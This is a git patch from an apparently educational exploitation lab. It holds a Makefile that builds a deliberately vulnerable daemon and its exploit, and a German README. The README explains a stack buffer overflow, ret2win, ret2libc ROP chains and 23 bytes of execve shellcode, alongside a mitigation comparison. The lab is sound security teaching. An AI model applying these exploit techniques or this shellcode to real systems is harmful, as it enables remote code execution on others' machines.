From 394e3be54d22b0a9f487ec3a9e11bb755ebf2d24 Mon Sep 17 00:00:00 2001 From: hanez Date: Tue, 29 Sep 2026 09:39:24 +0200 Subject: [PATCH] Initial commit --- .gitignore | 17 + Makefile | 305 +++++++ README.DE.md | 436 +++++++++ README.DK.md | 414 +++++++++ README.ES.md | 426 +++++++++ README.FR.md | 434 +++++++++ README.NL.md | 424 +++++++++ README.NO.md | 415 +++++++++ README.md | 409 +++++++++ fooc.c | 1518 ++++++++++++++++++++++++++++++++ food.c | 853 ++++++++++++++++++ shellcode.S | 140 +++ suid/.gitignore | 15 + suid/Makefile | 314 +++++++ suid/README.DE.md | 406 +++++++++ suid/README.DK.md | 389 ++++++++ suid/README.ES.md | 399 +++++++++ suid/README.FR.md | 404 +++++++++ suid/README.NL.md | 398 +++++++++ suid/README.NO.md | 387 ++++++++ suid/README.md | 388 ++++++++ suid/foosc.c | 1142 ++++++++++++++++++++++++ suid/foosd.c | 728 +++++++++++++++ suid/shellcode.S | 94 ++ suid/tests/pty_suid_test.c | 278 ++++++ task.txt | 25 + tests/pty_test.c | 279 ++++++ tests/sock_test.c | 93 ++ wosuid/.gitignore | 17 + wosuid/Makefile | 368 ++++++++ wosuid/README.DE.md | 325 +++++++ wosuid/README.DK.md | 309 +++++++ wosuid/README.ES.md | 318 +++++++ wosuid/README.FR.md | 322 +++++++ wosuid/README.NL.md | 311 +++++++ wosuid/README.NO.md | 309 +++++++ wosuid/README.md | 305 +++++++ wosuid/foowosc.c | 1130 ++++++++++++++++++++++++ wosuid/foowosd.c | 669 ++++++++++++++ wosuid/shellcode.S | 124 +++ wosuid/tests/pty_wosuid_test.c | 278 ++++++ 41 files changed, 16315 insertions(+) create mode 100644 .gitignore create mode 100644 Makefile create mode 100644 README.DE.md create mode 100644 README.DK.md create mode 100644 README.ES.md create mode 100644 README.FR.md create mode 100644 README.NL.md create mode 100644 README.NO.md create mode 100644 README.md create mode 100644 fooc.c create mode 100644 food.c create mode 100644 shellcode.S create mode 100644 suid/.gitignore create mode 100644 suid/Makefile create mode 100644 suid/README.DE.md create mode 100644 suid/README.DK.md create mode 100644 suid/README.ES.md create mode 100644 suid/README.FR.md create mode 100644 suid/README.NL.md create mode 100644 suid/README.NO.md create mode 100644 suid/README.md create mode 100644 suid/foosc.c create mode 100644 suid/foosd.c create mode 100644 suid/shellcode.S create mode 100644 suid/tests/pty_suid_test.c create mode 100644 task.txt create mode 100644 tests/pty_test.c create mode 100644 tests/sock_test.c create mode 100644 wosuid/.gitignore create mode 100644 wosuid/Makefile create mode 100644 wosuid/README.DE.md create mode 100644 wosuid/README.DK.md create mode 100644 wosuid/README.ES.md create mode 100644 wosuid/README.FR.md create mode 100644 wosuid/README.NL.md create mode 100644 wosuid/README.NO.md create mode 100644 wosuid/README.md create mode 100644 wosuid/foowosc.c create mode 100644 wosuid/foowosd.c create mode 100644 wosuid/shellcode.S create mode 100644 wosuid/tests/pty_wosuid_test.c diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1f93116 --- /dev/null +++ b/.gitignore @@ -0,0 +1,17 @@ +# Build products +food +fooc +food_hardened +shellcode.bin +.sc_c_raw.txt +.sc_c.txt +.sc_asm.txt + +# Test harness binaries +tests/pty_test +tests/sock_test + +# Runtime evidence -- your own logs, yours to keep or delete +food.log +food_hardened.log +*.log diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..8c7bd3c --- /dev/null +++ b/Makefile @@ -0,0 +1,305 @@ +# ============================================================================ +# Makefile -- builds the lab: the vulnerable daemon and its exploit +# ============================================================================ +# +# make build food, fooc and the test harnesses +# make run start food in the background, on loopback +# make test run the full technique matrix (needs `make run` first) +# make verify prove the shellcode in fooc.c matches shellcode.S +# make hardened rebuild food with every mitigation ENABLED +# make test-hardened run the matrix against the hardened build +# make stop stop the daemon +# make clean remove build products +# +# --------------------------------------------------------------------------- +# WHY THESE FLAGS -- the single most important thing in this file +# --------------------------------------------------------------------------- +# +# `food` is built with three protections switched OFF, deliberately: +# +# -fno-stack-protector no stack canary +# -no-pie fixed load address, so win() is a constant +# -z execstack executable stack, so shellcode can run +# +# Each one corresponds to a real defence that a real program gets for free, and +# `make test-hardened` turns them all back on so you can watch the techniques +# fail. That contrast is the entire lesson. Do not copy these flags into +# anything you actually ship. +# +# The exploit (`fooc`) is built with the protections ON. There is no reason for +# an attacker to disable them, and leaving them on is a useful reminder that +# the tool works fine in a hardened process. +# +# --------------------------------------------------------------------------- +# WHY -O0 -g +# --------------------------------------------------------------------------- +# +# -O0 the compiler does not reorder, inline, or elide the code. At -O2 the +# stack layout the exploit reasons about can change between builds, and +# variables you were told exist may be gone. For a lab you have to be +# able to read the disassembly and find the thing the comment promised. +# -g symbols and line numbers, so gdb is actually usable. `make debug` +# goes further and stops at the vulnerable read(). +# ============================================================================ + +CC ?= gcc +CSTD := -std=c99 + +# Warnings we always want, even on the vulnerable build. Note that we do NOT +# use -Werror: food.c's deliberate overflow triggers -Wstringop-overflow, and +# that warning is *supposed* to fire (see the comment at the read() call). +WARN := -Wall -Wextra + +# Debug info and no optimisation: see above. +DBG := -O0 -g + +# --- the vulnerable build ----------------------------------------------------- +# These are the flags we are trying to defeat. See the header comment. +VULN := -fno-stack-protector -no-pie -z execstack + +# --- the hardened build ------------------------------------------------------- +# What a modern project actually does. Note that -fstack-protector-strong is +# gcc's DEFAULT on many distros, and -fPIE is too, so the hardened build is +# really just "stop overriding the defaults". `make test-hardened` shows the +# exploits failing, which is the point. +HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack + +# Shellcode needs a terminal, and the test harness is the only thing that +# provides one. It is a normal POSIX program, not part of the exploit. +TESTCFLAGS := $(CSTD) $(DBG) $(WARN) + +all: food fooc tests/pty_test tests/sock_test + +# ----------------------------------------------------------------------------- +# The vulnerable daemon. +# ----------------------------------------------------------------------------- +food: food.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $< + +# ----------------------------------------------------------------------------- +# The exploit. -ldl is needed for dlsym(), which is how it locates libc's +# system() and "/bin/sh" at runtime instead of hardcoding offsets that would +# break the next time glibc is updated. +# +# It gets the mitigations ON, unlike the target. +# ----------------------------------------------------------------------------- +fooc: fooc.c + $(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl + +# ----------------------------------------------------------------------------- +# Test harnesses. These exist because the exploit's last act is to hand its +# process over to a shell; verifying that needs a real terminal, which a pipe +# or a here-doc is not. +# ----------------------------------------------------------------------------- +tests/pty_test: tests/pty_test.c + $(CC) $(TESTCFLAGS) -o $@ $< + +tests/sock_test: tests/sock_test.c + $(CC) $(TESTCFLAGS) -o $@ $< + +# ----------------------------------------------------------------------------- +# The hardened daemon: same source, protections on. Build it, then run +# `make test-hardened` to see which techniques it survives. +# ----------------------------------------------------------------------------- +hardened: food.c + $(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o food_hardened $< + @echo + @echo "=== food_hardened built with the mitigations ON." + @echo "=== Stack segment permissions ('RWE' would mean executable; you" + @echo "=== want 'RW', i.e. no-execute):" + @readelf -W -l food_hardened | grep GNU_STACK + @echo "=== Now run: make test-hardened" + +# ----------------------------------------------------------------------------- +# verify-shellcode: prove the bytes in fooc.c are what nasm produces from +# shellcode.S. This is the check that keeps the inline byte array honest -- +# a hand-maintained hex dump and a disassembler are both easy to get wrong, and +# a single wrong byte means a payload that crashes instead of running. +# ----------------------------------------------------------------------------- +verify verify-shellcode: shellcode.S fooc.c + @command -v nasm >/dev/null 2>&1 || { \ + echo "verify-shellcode: nasm is not installed; skipping."; \ + echo " (Arch: pacman -S nasm)"; exit 0; } + @echo "=== Assembling shellcode.S ..." + @nasm -f bin -o shellcode.bin shellcode.S + @echo "=== nasm output:" + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' + @echo + @# Pull the byte list out of the C array. `sed s,/*.**/,` first strips the + @# trailing /* ... */ annotations, so a hex constant mentioned inside a + @# comment (there is one: "push 0x3b (execve)") is not counted as data. + @# Stripping comments before grepping is the whole trick here. + @sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' fooc.c \ + | sed -e 's,/\*.*\*,,' \ + | grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \ + | tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \ + > .sc_c_raw.txt + @echo "=== bytes declared in fooc.c's SHELLCODE[] array:" + @cat .sc_c_raw.txt + @echo + @echo "=== comparing ..." + @# Both sides reduced to the same plain "31 f6 31 d2 ..." form, so the + @# comparison is on VALUES and not on how each tool happens to print them. + @sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' > .sc_asm.txt + @if cmp -s .sc_c.txt .sc_asm.txt; then \ + n=$$(wc -c < shellcode.bin); \ + echo "MATCH: the $$n bytes in fooc.c are byte-for-byte what"; \ + echo " shellcode.S assembles to."; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \ + else \ + echo "MISMATCH -- the two differ:"; \ + diff .sc_c.txt .sc_asm.txt || true; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \ + fi + +# ----------------------------------------------------------------------------- +# run: start the daemon in the background. +# +# setsid + nohup + food.log 2>&1 /dev/null || true + @sleep 1 + @if pgrep -x food >/dev/null; then \ + echo "=== food is running (pid $$(pgrep -x food | head -1))"; \ + echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \ + grep '\[stack\]' /proc/$$(pgrep -x food | head -1)/maps; \ + else \ + echo "=== food failed to start; see food.log"; exit 1; \ + fi + +# ----------------------------------------------------------------------------- +# test: the technique matrix. Every technique must print both SEEN. +# +# Note this runs against whatever ./food currently is. If you last ran +# `make hardened`, you are testing the hardened build -- which is what +# test-hardened is for. +# ----------------------------------------------------------------------------- +# +# Note on the redirection below. The verdict is the "[pty_test] ..." line the +# harness prints to STDERR, and its EXIT STATUS, so stderr is sent to the +# terminal and the shell's chatter (stdout) is discarded. Piping the two +# together and tailing is what hid a real failure during development: the pty's +# echo of our own command line contains the marker string, so a loose grep on +# the transcript was always going to pass. +test: tests/pty_test + @fail=0; \ + for t in ret2win ret2libc shellcode; do \ + echo "=================== $$t"; \ + if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \ + :; \ + else \ + fail=1; \ + fi; \ + done; \ + echo; \ + if [ $$fail -eq 0 ]; then \ + echo "=== all three techniques gave a working shell"; \ + else \ + echo "=== at least one technique did NOT work."; \ + echo "=== If food was built with `make hardened`, that is the"; \ + echo "=== mitigations doing their job. See README.md."; \ + fi; \ + exit $$fail + +# ----------------------------------------------------------------------------- +# test-hardened: swap in the hardened daemon, prove the mitigations hold, then +# put the vulnerable one back. Leaves your tree exactly as it found it. +# ----------------------------------------------------------------------------- +# +# Two things this target has to get right, both of which bit during development: +# +# * `pgrep -x` matches the process NAME, and the hardened binary is +# food_hardened, not food. Using the wrong name silently inspects nothing. +# * The verdict is pty_test's EXIT STATUS (0 = both markers seen), not the +# presence of its output line. Grepping for a line that is also printed on +# failure reports success for a run that crashed. +test-hardened: hardened tests/pty_test + @if ! pgrep -x food >/dev/null; then \ + echo "=== start the daemon first: make run"; exit 1; \ + fi + @echo "### stopping the vulnerable daemon" + @$(MAKE) --no-print-directory stop + @echo "### starting food_hardened instead" + @setsid nohup ./food_hardened -p $(PORT) > food_hardened.log 2>&1 \ + /dev/null || true + @sleep 1 + @if ! pgrep -x food_hardened >/dev/null; then \ + echo "!!! food_hardened did not start; see food_hardened.log"; \ + $(MAKE) --no-print-directory stop; exit 1; \ + fi + @echo "### stack segment: 'rw-p' (NOT executable) is what you want to see" + @grep '\[stack\]' /proc/$$(pgrep -x food_hardened | head -1)/maps || true + @echo + @for t in ret2win ret2libc shellcode; do \ + echo "=================== $$t"; \ + if ./tests/pty_test -t $$t 2>&1 >/dev/null; then \ + echo "!!! $$t STILL WORKED against the hardened build"; \ + else \ + echo "--- $$t was stopped by the mitigations (as expected)"; \ + fi; \ + done; \ + echo + @$(MAKE) --no-print-directory stop + @echo "### restoring the vulnerable daemon" + @setsid nohup ./food -p $(PORT) > food.log 2>&1 /dev/null || true + @sleep 1 + @echo + @echo "=== mitigation comparison is above." + @echo "=== Read the table in README.md to see which flag stopped what," + @echo "=== and note which mitigations are NOT enough on their own." + +# ----------------------------------------------------------------------------- +# debug: build food and run it under gdb, stopping at the vulnerable read() so +# you can watch the stack frame get overwritten. +# ----------------------------------------------------------------------------- +debug: food.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o food $< + @echo "=== built ./food for gdb. Try:" + @echo " gdb -q ./food" + @echo " (gdb) break food.c:393 # the read() that overflows" + @echo " (gdb) run -p 2342" + @echo " (gdb) info registers rsp rbp" + @echo " (gdb) x/24gx \$rsp # watch the return address" + +# ----------------------------------------------------------------------------- +# stop: kill the daemon. +# +# `pkill -x food` matches the process NAME exactly. Do NOT use +# `pkill -f ./food` -- that pattern also matches the shell you typed it into, +# so it kills your own session. This is not a theoretical risk; it happened +# while building this lab. +# ----------------------------------------------------------------------------- +stop: + @if pgrep -x food >/dev/null; then \ + pkill -x food; sleep 0.5; \ + echo "=== food stopped"; \ + else \ + echo "=== food was not running"; \ + fi + @# The hardened binary has a different process name, so it needs its own + @# pkill. A leftover food_hardened keeps port 2342 bound and makes the + @# next `make run` fail with "Address already in use". + @if pgrep -x food_hardened >/dev/null; then \ + pkill -x food_hardened; sleep 0.5; \ + echo "=== food_hardened stopped"; \ + fi + +clean: + rm -f food fooc food.hardened shellcode.bin + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt + rm -f tests/pty_test tests/sock_test + @echo "=== cleaned. (food.log is left alone; it is your evidence.)" + +.PHONY: all run stop test test-hardened verify verify-shellcode hardened debug clean diff --git a/README.DE.md b/README.DE.md new file mode 100644 index 0000000..1084621 --- /dev/null +++ b/README.DE.md @@ -0,0 +1,436 @@ +# food / fooc — ein Stack-Pufferüberlauf, von beiden Seiten + +Ein C99-Sicherheitslabor in zwei Hälften: + +- **`food.c`** — ein absichtlich angreifbarer TCP-Daemon. Er enthält einen + echten, lehrbuchreifen Stack-Pufferüberlauf (CWE-120) und nebenbei noch ein + paar weitere Bugs. +- **`fooc.c`** — ein Exploit dafür. Er berechnet das Overflow-Offset, indem er + das Zielprogramm zur Laufzeit disassembliert, liest Adress-Leaks vom Daemon + und erhält eine Shell auf dem „Opfer", indem er eine gespeicherte + Rücksprungadresse überschreibt. + +Es geht nicht um die Shell. Es geht darum, dass man Ende-zu-Ende mitverfolgen +kann, wie aus einem Speichersicherheitsfehler eine beliebige Codeausführung +wird — und dann genau sieht, welche Gegenmaßnahmen welchen Schritt dieser +Kette stoppen. Jede Zeile beider Programme ist kommentiert, denn der Mechanismus +ist die Lektion. + +``` + dein Terminal + | + ./fooc (Exploit) + | + TCP 127.0.0.1:2342 + | + ./food (angreifbarer Daemon) + | + fork() -> vulnerable_handler() -> Overflow -> ret -> dein Code +``` + +--- + +## ⚠️ Bitte zuerst lesen + +**`food` ist ein absichtlich kaputter Netzwerkdienst. Er bindet ausschließlich +an `127.0.0.1`, und dieser Standard ist Absicht — bitte lass ihn so.** + +- Führe ihn **nicht** auf einer Maschine aus, die dir wichtig ist, oder auf + irgendetwas mit Daten darauf. +- Binde ihn **nicht** an `0.0.0.0` oder eine echte Netzwerkschnittstelle. Er + ist bewusst remote ausnutzbar. +- Ein `fooc` gegen einen Host zu richten, der dir nicht gehört bzw. für den du + keine schriftliche Testgenehmigung hast, ist in den meisten Rechtsordnungen + ein Computersabotage-Straftatbestand — auch nach dem UK Computer Misuse Act + und dem US Computer Fraud and Abuse Act. +- Er bindet einen unprivilegierten Port (>1024), du brauchst also kein root. + „Verbessere" ihn nicht, indem du Capabilities hinzufügst oder ihn als + Systemdienst laufen lässt. +- Jede Verbindung wird in einem per `fork()` erzeugten Kindprozess behandelt, + und `food` reaped ihn, sodass sich keine Abstürze ansammeln. Falls du danach + dutzende streunende `sh`-Prozesse vorfindest, ist `pkill -x sh` die + Aufräumlösung. + +Im Zweifel: Dieses Labor ist für eine virtuelle Maschine oder einen Container +gedacht, in einem Netzwerk, das du kontrollierst, auf einer Maschine, auf der +dir nichts fehlen würde. + +--- + +## Schnellstart + +```sh +make # baut food, fooc und die Test-Harnesses +make run # startet food auf 127.0.0.1:2342, abgelöst im Hintergrund +make test # führt alle drei Exploit-Techniken aus +make stop # stoppt den Daemon +``` + +Danach von Hand: + +```sh +./fooc -t leak # sieh dir die Adress-Leaks an, die food ausgibt +./fooc -t demo -v # sende Datenmüll; beobachte, wie food mit SIGSEGV stirbt +./fooc -t ret2win -i # springe zu einer Funktion, die bereits existiert -> Shell +``` + +### Voraussetzungen + +| Werkzeug | Wofür | Hinweise | +|---|---|---| +| `gcc` (oder clang) | Bauen | C99. Getestet mit gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` ruft es zur Laufzeit auf | +| `nasm` | `make verify` | nur zum Gegenprüfen des Shellcodes; wird übersprungen, wenn nicht vorhanden | +| `gdb` | `make debug` | optional | +| Linux, x86-64 | beides | Payload und Gadget-Suche sind architekturspezifisch | + +`fooc` benötigt außerdem `-ldl` für `dlsym()`; das erledigt das Makefile. + +--- + +## Der Bug + +Eine Zeile in `food.c` ist die gesamte Angriffsfläche: + +```c +char buf[FOOD_BUFSZ]; /* 64 Bytes */ +n = read(fd, buf, FOOD_READMAX); /* bis zu 512 Bytes aus dem Netzwerk */ +``` + +64 Bytes Ziel, 512 Bytes akzeptiert. Der Angreifer überschreibt 448 Bytes über +das Ende des Puffers hinaus, und weil der Stack nach unten wächst, bedeutet +„über das Ende hinaus" „in den darüberliegenden Frame hinein" — und genau dort +liegen der gespeicherte Frame-Pointer und die **gespeicherte +Rücksprungadresse**. + +In einer kompilierten x86-64-Funktion bei `-O0`: + +``` + hohe Adressen + +------------------------+ rbp + 16 : Locals des Aufrufers + | ... | + +------------------------+ rbp + 8 : GESPEICHERTE RÜCKSPRUNGSADRESSE <-- wird zu RIP + | saved rbp (8 Bytes) | + +------------------------+ rbp : unser Frame-Pointer + | line[128] | + | buf[64] | <- rsp: das, was read() füllt + +------------------------+ + niedrige Adressen +``` + +Wenn die Funktion zurückkehrt, poppt `leave; ret` diese 8 Bytes in `RIP`, und +die CPU springt dorthin, wo der Angreifer es bestimmt hat. Alles andere in +diesem Labor ist Arithmetik darüber, wohin gedeutet werden soll. + +Für diesen Build sind die Zahlen: `buf` ist 64 Bytes, das gespeicherte `rbp` +ist 8, die Rücksprungadresse liegt also bei Offset **88** vom Anfang von `buf`. +`fooc` härtet das nicht ein — es disassembliert `food` und findet das +`lea -0x50(%rbp)` vor dem `call read@plt`, sodass es weiter funktioniert, wenn +du `FOOD_BUFSZ` änderst. + +> gcc weist bereits darauf hin. Das Bauen von `food` druckt: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Unterdrücke diese Warnung in echtem Code +> nie. Sie ist geschenkte Sicherheit. + +--- + +## Die drei Techniken + +`fooc -t `. Sie stehen in der Reihenfolge, in der ein echter +Angreifer sie durcharbeiten würde, denn jede braucht, was die vorherige dich +gelehrt hat. + +### 1. `ret2win` — den Befehlszeiger kontrollieren + +``` +[ 88 Bytes Müll ][ Adresse von food's win() ] + ^ saved rbp + ^ wird zu RIP +``` + +`win()` ist eine Funktion im Zielprogramm, die `/bin/sh` ausführt. Das +Überschreiben der Rücksprungadresse mit ihrer Adresse ist der gesamte Exploit. + +**Was es lehrt:** Du hast beliebige Kontrolle über den Befehlszeiger. Es +braucht außerdem kein Leak, weil das Binärprogramm `-no-pie` gebaut ist, sodass +`win()` für immer an einer festen Adresse sitzt. + +**Das reale Äquivalent** ist nicht „Angriffe sind einfach", sondern „verschiffe +keine undokumentierten Hintertüren in Netzwerk-Binärprogrammen". Wenn eine +Funktion wie `win()` in deinem Binärprogramm existiert, wird ein +Pufferüberlauf sie finden. Das ist wörtlich die Hintertür-Klasse von Juniper +ScreenOS (CVE). + +**Verteidigung:** `-fPIE` (oder ASLR) randomisiert die Ladeadresse, sodass der +Angreifer die Adresse kennen muss — was meistens bedeutet, dass er zuerst ein +Leak braucht. Deshalb schlägt `ret2win` gegen `food_hardened` fehl. + +### 2. `ret2libc` — Beliebiges aufrufen, beim Namen + +``` +[ Müll ][ pop rdi; ret ][ Adresse von "/bin/sh" ][ Adresse von system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + setzt rdi der zu übergebende String die aufzurufende Funktion +``` + +Zur Ausführungszeit: `ret` poppt `pop rdi; ret` in `RIP`; das poppt den +`"/bin/sh"`-Pointer in `RDI`; dessen `ret` poppt `system()` in `RIP`, wobei +`RDI` weiterhin den String hält. `system("/bin/sh")` läuft. + +Die Gadgets (`pop rdi; ret`) stecken nicht in `food` — diese glibc hat kein +`__libc_csu_init` — daher findet sie `fooc`, indem es den Live-libc-Speicher +nach dem Bytepaar `5f c3` durchsucht. Es lokalisiert libc über +`/proc/self/maps`, findet die Offsets von `system` und `"/bin/sh"` mit +`dlsym()` und berechnet die Basis aus dem Leak, das `food` veröffentlicht. +Nichts ist fest verdrahtet, sodass der Exploit ein libc-Update überlebt. + +**Was es lehrt:** Wenn du einmal `RIP` kontrollierst, kannst du *vorhandene* +Befehle aneinanderreihen. Das ist Return-Oriented Programming, und es ist, wie +fast alle echten Exploits aussehen, weil es keinen vom Angreifer gelieferten +ausführbaren Speicher braucht. + +**Verteidigung:** Keine der Compiler-Flags stoppt das allein. Es funktioniert +gegen ein PIE-Binärprogramm, mit NX, mit Canary — solange der Angreifer ein +Leak hat. Die Verteidigungen sind „habe den Overflow nicht" und „leake keine +Adressen". Siehe Tabelle unten. + +### 3. `shellcode` — eigenen Maschinencode ausführen + +23 Bytes, platziert am Anfang des Puffers, mit `RIP`, das auf sie zeigt: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 rohe Bytes +push rdi ; lege den String auf den Stack +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; wir sind jetzt eine Shell +``` + +Das ist die reinste Form des Bugs: Der Angreifer liefert die *Befehle*, nicht +nur die Adresse von Befehlen, die bereits existieren. Keine libc-Offsets nötig, +also funktioniert es im Prinzip gegen ein statisch gelinktes, vollständig +randomisiertes Ziel. + +`make verify` assembliert `shellcode.S` und vergleicht es mit dem Byte-Array, +das in `fooc.c` eingebettet ist, sodass die beiden nicht auseinanderlaufen +können. + +**Verteidigung:** **NX** (auch W^X, „no execute"). Wenn der Stack als +nicht-ausführbar markiert ist, weigert sich die Hardware, Befehle von ihm zu +holen, und das `ret` landet auf einer Seite, die nicht ausführbar ist. Deshalb +übergibt `make food` die Flag `-z execstack`: Ein Standard-Linux-Stack ist +`rw-p`, nicht `rwx`, und die Technik stirbt mit SIGSEGV bei `RIP = die Adresse +des Payloads`. Die mit Abstand wichtigste Lektion des Labors ist, dass jedes +dieser Bytes nur funktioniert, weil dem Compiler gesagt wurde, den Stack +ausführbar zu lassen. Diese Flag ist für niemandes Wohl eingeschaltet. + +### Außerdem enthalten + +| Modus | Was es tut | +|---|---| +| `-t leak` | verbindet, druckt die Leaks, sendet nichts | +| `-t demo` | sendet `rip_off + 8` Bytes `0x41`, sodass `RIP` zu `0x4141...` wird und der Daemon stirbt. Beweist den Bug ganz ohne Adresswissen | +| `-t sled` | ein Ret-Sled, bewusst als **fehlschlagendes** Beispiel behalten. Ohne ein Leak würdest du ASLR brute-forcen, indem du den Puffer mit der Adresse eines `ret` füllst. Hier kann es nicht funktionieren: `food` akzeptiert 512 Bytes, der Sled hat also ~53 Slots gegen ~28 Bit Entropie. Implementiert, damit du zusehen kannst, wie es scheitert, und bestätigst, dass der Mechanismus wirklich „die CPU folgt einer Kette von rets" ist | + +--- + +## Die Tabelle der Gegenmaßnahmen + +Das ist der Teil, den man sich merken sollte. Jede Zeile ist eine echte +Verteidigung, und die rechte Spalte zeigt, was sie tatsächlich mit der +Ereigniskette macht. + +| Gegenmaßnahme | So aktivierst du sie | Was sie stoppt | Was sie *nicht* stoppt | +|---|---|---|---| +| **Read begrenzen** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** Der Bug existiert nicht, also ist nichts nachgelagert relevant | Nichts — das ist der einzige vollständige Fix | +| **Stack-Canary** | `-fstack-protector-strong` (gcc-Standard) | Das `ret`: Der Canary wird beim Funktionsende geprüft, der Einschlag wird also erkannt und der Prozess bricht ab, bevor `RIP` gepoppt wird | Ein Bug in einer Funktion *ohne* Array (nichts zu schützen); ein Overflow, der unter dem Canary bleibt; alles, was nicht normal zurückkehrt | +| **NX / W^X** | `-z noexecstack` (der Standard) | Shellcode. Die eigenen Befehle des Payloads können nicht geholt werden | ret2win und ret2libc vollständig. Sie sind der *Grund*, warum ROP existiert | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (beides Standard) | ret2wins fest verdrahtete Adressen. Alles bewegt sich bei jedem Lauf | Alles, wo der Angreifer ein Leak hat. ASLR erhöht die Kosten eines Exploits; es ist kein Fix. Beachte, dass Stack, Heap und mmap randomisiert sind, der *Inhalt* des Haupt-Binärprogramms jedoch nicht — das ist es, was ROP-Ketten verwenden | +| **Nicht leaken** | kein `printf("%p")` an Clients; vor dem Drucken initialisieren | Der Informations-Leak, der ASLR von „teuer" zu „gratis" macht | — | +| **Kein `printf(user_data)`** | `printf("%s", buf)` statt `printf(buf)` | Format-String-Bugs: `%x`-Stack-Reads, `%n`-beliebige Schreibzugriffe — ein *zweiter* Weg zu RCE | — | +| **Keine unvertrauenswürdigen Pfade** | validieren und `openat()` unter einem festen Verzeichnis | Pfad-Traversal (CWE-22) | — | +| **CET / Shadow Stack** | `-fcf-protection=full`, Kernel- und CPU-Unterstützung | Das `ret` selbst: Der Shadow Stack merkt sich die *echte* Rücksprungadresse und fault bei einem Mismatch. Fängt ROP-Ketten ab, die Hardware-`ret` verwenden | Angriffe, die nie `ret` ausführen (call-oriented, oder das Ziel eines Funktionspointers mit einer Gadget-Kette überschreiben, die keine Rückkehr braucht) | +| **Sichere Sprachen** | Rust, Go, C# für neuen Code | Die ganze Klasse. Bounds-Checks werden zur Laufzeit geprüft, nicht beim Review erhofft | — | + +### Selbst ausprobieren + +```sh +make run # angreifbarer Daemon +make test # alle drei Techniken funktionieren + +make test-hardened # gleicher Quellcode, Gegenmaßnahmen an +``` + +`test-hardened` baut `food_hardened` mit `-fstack-protector-strong -fPIE -pie +-z noexecstack`, tauscht es ein, führt alle drei erneut aus und legt danach +das angreifbare wieder zurück. Du wirst sehen: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Und im Log des gehärteten Daemons das Auslösen des Canarys: + +``` +*** stack smashing detected ***: terminated +``` + +Lies das genau, denn es ist die wichtigste Zeile des ganzen Labors: **der +Canary hat ret2win erwischt, nicht PIE.** Alle drei Techniken sterben am +Canary, weil alle drei durch dasselbe `read()` gehen und denselben Frame +zerstören. NX stoppt nur zusätzlich den *Code* des Shellcodes; PIE bricht nur +zusätzlich die hart verdrahtete Adresse. Schalte sie einzeln an, und du wirst +feststellen, dass dich die meisten einzelnen Gegenmaßnahmen irgendetwas +ausgesetzt lassen. + +--- + +## Dateien + +| Datei | Zweck | +|---|---| +| `food.c` | der angreifbare Daemon. 6 nummerierte Bugs, jeder mit seinem Fix im Kommentar | +| `fooc.c` | der Exploit. objdump-basierte Offset-Erkennung, `/proc`-basierte libc-Erkennung, 4 Payload-Builder | +| `shellcode.S` | die 23 Shellcode-Bytes als Assembly, damit man sie lesen und verifizieren kann. `fooc` trägt sie inline und braucht das zur Laufzeit nicht | +| `Makefile` | baut, testet und liefert den gehärteten Vergleich | +| `tests/pty_test.c` | treibt `fooc` über ein Pseudo-Terminal und prüft auf echte Shell-Ausgabe | +| `tests/sock_test.c` | unabhängiger Verifizierer über einen rohen Socket, damit das Ergebnis nicht von `fooc` abhängt | +| `food.log` | das Log des Daemons. Dein Beweis, was passiert ist | + +--- + +## Zwei Bugs in diesem Labor, die es wert sind, verstanden zu werden + +Das sind nicht die Bugs des Zielprogramms. Es sind Bugs im Exploit und in +seiner Test-Harness, und beide haben überzeugende Lügen produziert. Sie sind im +Quellcode an ihrem Ort dokumentiert; hier stehen sie, weil die Ausfallmuster +lehrreich sind. + +### Stack-Ausrichtung: der Absturz, der kein NULL-Deref ist + +**Symptom.** Die Übernahme landet korrekt — `gdb` zeigt dich in `win()` — und +dann stirbt das allererste, was `win()` tut, ein `dprintf()`. Der +`SIGSEGV`-Handler meldet `RIP` tief im glibc-Formatter und eine Fehleradresse +von `(nil)`, was exakt wie ein korrupter Pointer aussieht. + +**Ursache.** Die System-V-AMD64-ABI verlangt 16-Byte-Stack-Ausrichtung. Ein +normales `ret` stellt `%rsp` exakt auf das wieder her, was das zugehörige +`call` gespeichert hat, sodass die Invariante gratis erhalten bleibt. Unser +nacktes `ret` tut das nicht: Danach gilt `%rsp = buf + rip_off`. Hier ist `buf` +16-Byte-ausgerichtet und `rip_off` ist 88, der Callee bekommt also einen Stack, +der 8 mod 16 ist. glibc ist mit SSE2 kompiliert, und `movaps` **fault** bei +einem nicht ausgerichteten Operanden. 